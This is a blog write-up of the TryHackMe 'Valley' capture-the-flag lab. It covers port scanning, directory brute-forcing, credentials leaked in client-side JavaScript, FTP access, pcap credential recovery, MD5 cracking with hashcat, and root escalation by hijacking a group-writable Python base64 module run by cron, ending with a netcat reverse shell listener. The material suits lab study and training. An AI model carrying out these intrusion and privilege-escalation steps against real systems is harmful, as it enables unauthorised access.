DEV Community

Mateusz Jasiński
Mateusz Jasiński

Posted on • Edited on

Valley - TryHackMe writeup

This challenge is from TryHackMe

Writeup

Port scan

Start ping scan on all ports

$ nmap -Pn $IP -p-  

Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
37370/tcp open  unknown
Enter fullscreen mode Exit fullscreen mode

We have 3 ports open - Let's scan them

$ nmap -sC -sV $IP -p37370,22,80

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2842ac1225a10f16616dda0f6046295 (RSA)
|   256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_  256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open  ftp     vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

We have OpenSSH, Apache and vsftpd

Website Enumeration

On website I found note.txt in /pricing

J,
Please stop leaving notes randomly on the website
-RP
Enter fullscreen mode Exit fullscreen mode

So there might be some notes - let's bust /static directory beacouse we can't list it from the webpage

$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://$IP/static  -x php,html
[...]

/00                   (Status: 200) [Size: 127]
/11                   (Status: 200) [Size: 627909]
/3                    (Status: 200) [Size: 421858]
/13                   (Status: 200) [Size: 3673497]
/12                   (Status: 200) [Size: 2203486]
/10                   (Status: 200) [Size: 2275927]
/5                    (Status: 200) [Size: 1426557]
[...]
Enter fullscreen mode Exit fullscreen mode

Files with names from 1-19 are photos from /gallery but in /00 we have earlier mentioned note left

dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
Enter fullscreen mode Exit fullscreen mode

So it has a hidden directory /dev1243224123123 - After visiting it, we have some login form

If we try to log in, we see that auth mechanism is possibly written in js - We have it in dev.js file in
Our hidden directory

[...]
if (username === "siemDev" && password === "[Password]") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
Enter fullscreen mode Exit fullscreen mode

There, we have credentials for this form and some other link to dev notes

There is another note

dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
Enter fullscreen mode Exit fullscreen mode

If we trust what they say, they are reusing credentials - siemDev with it's password may be our FTP creds

FTP

First - log into FTP

$ ftp $IP -p 37370
220 (vsFTPd 3.0.3)
Name (10.10.97.110:wizarddos): siemDev
331 Please specify the password.
Password:  [Password]
230 Login successful.

ftp>
Enter fullscreen mode Exit fullscreen mode

We are in - list directories and let's see what we have there

ftp> ls
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng
Enter fullscreen mode Exit fullscreen mode

These look like captured internet packages - Let's download them and analyze by wireshark

ftp> get siemFTP.pcapng

local: siemFTP.pcapng remote: siemFTP.pcapng
229 Entering Extended Passive Mode (|||44679|)
150 Opening BINARY mode data connection for siemFTP.pcapng (7272 bytes).
100% |***********************************************************************|  7272       80.64 MiB/s    00:00 ETA
226 Transfer complete.
7272 bytes received in 00:00 (69.47 KiB/s)

ftp> get siemHTTP1.pcapng

local: siemHTTP1.pcapng remote: siemHTTP1.pcapng
229 Entering Extended Passive Mode (|||30906|)
150 Opening BINARY mode data connection for siemHTTP1.pcapng (1978716 bytes).
100% |***********************************************************************|  1932 KiB  375.53 KiB/s    00:00 ETA
226 Transfer complete.
1978716 bytes received in 00:05 (371.80 KiB/s)

ftp> get siemHTTP2.pcapng

local: siemHTTP2.pcapng remote: siemHTTP2.pcapng
229 Entering Extended Passive Mode (|||21876|)
150 Opening BINARY mode data connection for siemHTTP2.pcapng (1972448 bytes).
100% |***********************************************************************|  1926 KiB  555.25 KiB/s    00:00 ETA
226 Transfer complete.
1972448 bytes received in 00:03 (546.64 KiB/s)

ftp> exit
221 Goodbye.

$
Enter fullscreen mode Exit fullscreen mode

Hop into wireshark and analyze them

PCAP analysis

In TCP stream nr. 0 of siemFTP.pcapng we see an attacker loged into FTP using anonymous login, but we can't do it. This FTP daemon doesn't allow anon login

But in siemHTTP2.pcapng we have found something interesting

In TCP stream nr. 31 we have HTTP POST request to log in somewhere using valleyDev credentials - this may be for SSH

SSH and user flag 

$ ssh valleyDev@$IP
valleyDev@10.10.29.225's password: [Password]

[...]

valleyDev@valley:~:
Enter fullscreen mode Exit fullscreen mode

We are in! - get the user flag

$ ls
user.txt
$ cat user.txt
[User Flag]
Enter fullscreen mode Exit fullscreen mode

We have it

Now let's do privesc

Privilage escalation

In a /home dir we have valleyAuthenticator - this may help us escalate to another user and access more information

Escalation to another user

Let's download it and perform strings analysis on it

$ strings valleyAuthenticator
[...]

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

[...]
Enter fullscreen mode Exit fullscreen mode

This is basicly UPX archive - let's unpack it

$ upx -d valleyAuthenticator
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2285616 <-    749128   32.78%   linux/amd64   valleyAuthenticator

Unpacked 1 file.
Enter fullscreen mode Exit fullscreen mode

Note: UPX overrides passed file - It's better to not do it on attacked machine

Now, we can look for some passwords

$ strings valleyAuthenticator | grep -i pass -B 15 -A 15
[...]
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
[...]
Enter fullscreen mode Exit fullscreen mode

We have 2 hashes - let's put them into hash.txt file and crack them with hashcat

$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
[...]

dd2921cc76ee3abfd2beb60709056cfb:valley                   
e6722920bab2326f8217e4bf6b1b58ac:[Cracked Hash]             

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: hash.txt

[...]
Enter fullscreen mode Exit fullscreen mode

And we have credentials for this file

Let's use it and log into

$ ./valleyAuthenticator
Welcome to Valley Inc. Authenticator
What is your username: valley
What is your password: [Password]
Authenticated

$ su valley
Password:
Enter fullscreen mode Exit fullscreen mode

Now we have access to /home/valley

I see nothing interesting so let's find something else

We have some cronjob running in a background

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *   * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6   * * *    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6   * * 7    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6   1 * *    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1  *    * * *   root    python3 /photos/script/photosEncrypt.py
Enter fullscreen mode Exit fullscreen mode

We can't override photosEncrypt.py script but let's see what it does - we may find some privesc vector

$ cat  photosEncrypt.py

#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
   image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
         output_file.write(encoded_image_data)
Enter fullscreen mode Exit fullscreen mode

This file uses base64 module - if we overwrite it we can get a reverse shell for root

This is called library hijacking

Let's check where is this library located

$ locate base64.py
/snap/core20/1611/usr/lib/python3.8/base64.py
/snap/core20/1828/usr/lib/python3.8/base64.py
/usr/lib/python3.8/base64.py
Enter fullscreen mode Exit fullscreen mode

We found it in /usr/lib/python3.8 - let's check if we can write it

$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py
Enter fullscreen mode Exit fullscreen mode

Users in groups root and valleyAdmin can write this file - Are we in on of these?

$ groups
valley valleyAdmin
Enter fullscreen mode Exit fullscreen mode

We are in valleyAdmin - we can override it

Delete whole content and write reverse shell into it - I used one from highon.coffee

Then set up your netcat listener

$ nc -lvnp [PORT}
Enter fullscreen mode Exit fullscreen mode

And almost immediately after starting listener we have root shell - get the root flag

$ cat root.txt
[Root Flag]
Enter fullscreen mode Exit fullscreen mode

That's it - Machine Pwned

Conclusion

Kinda fresh (When I was writing this it was 8 days old) and interesting machine

I had some moments, when I didn't know what to do but finally I managed to solve everything

See you in next writeup

Top comments (0)

Read next

ben profile image

Sorry if you've been seeing too much spam in /latest lately. We're stepping up our filters to better catch it before it gets there.

Ben Halpern -

vhugogarcia profile image

Stay Ahead of the Curve: Embrace .NET MAUI for .NET 9

Victor Hugo Garcia -

ben profile image

This is a new thing: A type of quick post that doesn't show up on your profile or in notifications. It's in beta, and we have a few adjustments and improvements in the pipeline — but if you have ideas, let me know.

Ben Halpern -

balrajola profile image

25 Project Ideas from Beginner to Advanced with Open Source Contributions

Balraj Singh -